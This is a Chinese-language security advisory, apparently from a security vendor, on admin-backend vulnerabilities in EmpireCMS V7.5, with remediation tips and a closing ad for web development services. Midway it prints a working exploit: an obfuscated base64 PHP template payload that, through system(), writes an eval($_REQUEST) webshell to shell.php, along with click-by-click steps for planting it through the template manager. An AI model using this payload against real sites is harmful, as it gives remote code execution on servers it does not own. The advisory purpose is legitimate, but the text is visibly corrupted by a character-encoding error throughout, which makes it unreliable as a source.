最近,我們?cè)趯?duì)帝國(guó)CMS系統(tǒng)進(jìn)行代碼安全審計(jì)時(shí),發(fā)現(xiàn)該系統(tǒng)存在網(wǎng)站漏洞,受影響的版本是EmpireCMS V7.5。我們?nèi)斯?duì)其代碼進(jìn)行詳細(xì)的漏洞檢測(cè)與安全代碼分析,發(fā)現(xiàn)存在三個(gè)高危漏洞,都是在網(wǎng)站的后臺(tái)管理頁(yè)面上的功能發(fā)現(xiàn)的。
帝國(guó)CMS系統(tǒng)是一款深受廣大站長(zhǎng)和網(wǎng)站運(yùn)營(yíng)者喜歡的系統(tǒng),它采用B/S架構(gòu)開(kāi)發(fā),php語(yǔ)言+Mysql數(shù)據(jù)庫(kù),支持大并發(fā)同時(shí)訪問(wèn),可以承載較多的用戶快速的訪問(wèn)網(wǎng)站的各個(gè)頁(yè)面與內(nèi)容。它具有模板自定義化,可以設(shè)置標(biāo)簽與自行設(shè)計(jì)網(wǎng)站外觀,靜態(tài)html生成,還有采集功能等特點(diǎn)。
在對(duì)該代碼進(jìn)行安全檢測(cè)與滲透測(cè)試的過(guò)程中,我們會(huì)先大體看下代碼,熟悉整個(gè)網(wǎng)站的架構(gòu),數(shù)據(jù)庫(kù)配置文件,以及入口調(diào)用到的文件。我們會(huì)關(guān)注安全規(guī)則是如何寫的,并從多個(gè)方面去了解該代碼。
目前,我們發(fā)現(xiàn)的網(wǎng)站漏洞包括:SQL注入漏洞、網(wǎng)站敏感信息泄露、初始化安裝功能漏洞、直行平行越權(quán)邏輯漏洞、任意文件上傳漏洞、登錄繞過(guò)漏洞、短信驗(yàn)證碼漏洞、找回密碼漏洞、數(shù)據(jù)庫(kù)備份webshell、XSS跨站、CSRF漏洞等。這些漏洞的產(chǎn)生,主要是由于系統(tǒng)沒(méi)有對(duì)get,post提交方式進(jìn)行嚴(yán)格的安全效驗(yàn)與過(guò)濾,導(dǎo)致惡意代碼 ** 入到后端服務(wù)器中進(jìn)行處理。
為了解決這些問(wèn)題,我們SINE安全技術(shù)將采取相應(yīng)的安全措施,包括修復(fù)漏洞、增強(qiáng)密碼強(qiáng)度、限制并發(fā)訪問(wèn)等,以保障帝國(guó)CMS系統(tǒng)的安全性和穩(wěn)定性。同時(shí),我們也將定期進(jìn)行安全審計(jì)和滲透測(cè)試,以確保系統(tǒng)的安全和用戶的合法權(quán)益。
在帝國(guó)CMS的安裝過(guò)程中,index.php文件在處理前端提交的參數(shù)時(shí),可能存在泄露數(shù)據(jù)庫(kù)表前綴的風(fēng)險(xiǎn)。此外,fun.php文件中對(duì)參數(shù)的處理存在安全漏洞,未經(jīng)驗(yàn)證的惡意代碼可以直接被寫入到config.php配置文件中。這些信息可能會(huì)被惡意利用,因此我們建議盡快修復(fù)這個(gè)漏洞。
后臺(tái)還存在get webshell漏洞,打開(kāi)后臺(tái)管理功能頁(yè)面,選擇管理首頁(yè)模板,緊接著右鍵點(diǎn)擊增加首頁(yè)方案中,復(fù)制漏洞exp代碼:<?php $aa = _decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA)${(system)($aa)};?> 解密后是:ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA=>echo '<?php eval($_REQUEST[hp]);'>shell.php
寫到模板內(nèi)容頁(yè)面里,左鍵點(diǎn)擊提交,再點(diǎn)擊啟用此方案,就在會(huì)e/admin/template/文件夾下生成一個(gè)shell.php文件。
??? 對(duì)于帝國(guó)CMS漏洞的修復(fù)辦法,我有以下建議:
1. 對(duì)所有GET和POST請(qǐng)求進(jìn)行安全過(guò)濾:這是防止惡意代碼注入的有效手段。可以使用內(nèi)置的過(guò)濾函數(shù),如eaddslashes2,或者自定義過(guò)濾函數(shù),對(duì)輸入數(shù)據(jù)進(jìn)行安全檢查。
2. 增加惡意代碼攔截機(jī)制:在eaddslashes2參數(shù)中增加一個(gè)惡意代碼檢測(cè)機(jī)制,通過(guò)檢測(cè)后放行,這樣可以有效地防止惡意代碼的注入。
3. 更改網(wǎng)站后臺(tái)管理目錄:由于該漏洞利用需要擁有后臺(tái)管理員權(quán)限,建議對(duì)網(wǎng)站后臺(tái)的管理目錄進(jìn)行更改,避免惡意訪問(wèn)者獲取過(guò)多的權(quán)限。
4. 復(fù)雜化管理員密碼設(shè)置:對(duì)管理員的密碼進(jìn)行復(fù)雜的設(shè)置,可以提高系統(tǒng)的安全性,減少密碼被猜測(cè)成功的可能性。
5. 專業(yè)網(wǎng)站安全公司協(xié)助:如果您對(duì)網(wǎng)站漏洞修復(fù)不是很了解,可以考慮尋求專業(yè)的網(wǎng)站安全公司的幫助。國(guó)內(nèi)有許多優(yōu)秀的網(wǎng)絡(luò)安全公司,如SINE安全、啟明星辰、綠盟等,他們可以提供專業(yè)的解決方案。
6. 及時(shí)修復(fù)漏洞:網(wǎng)站運(yùn)營(yíng)者應(yīng)多多關(guān)注EmpireCMS的官方,一旦發(fā)現(xiàn)有新的補(bǔ)丁就立即進(jìn)行修復(fù)。這樣可以盡可能減少安全損失。
我們專注高端建站,小程序開(kāi)發(fā)、軟件系統(tǒng)定制開(kāi)發(fā)、BUG修復(fù)、物聯(lián)網(wǎng)開(kāi)發(fā)、各類API接口對(duì)接開(kāi)發(fā)等。十余年開(kāi)發(fā)經(jīng)驗(yàn),每一個(gè)項(xiàng)目承諾做到滿意為止,多一次對(duì)比,一定讓您多一份收獲!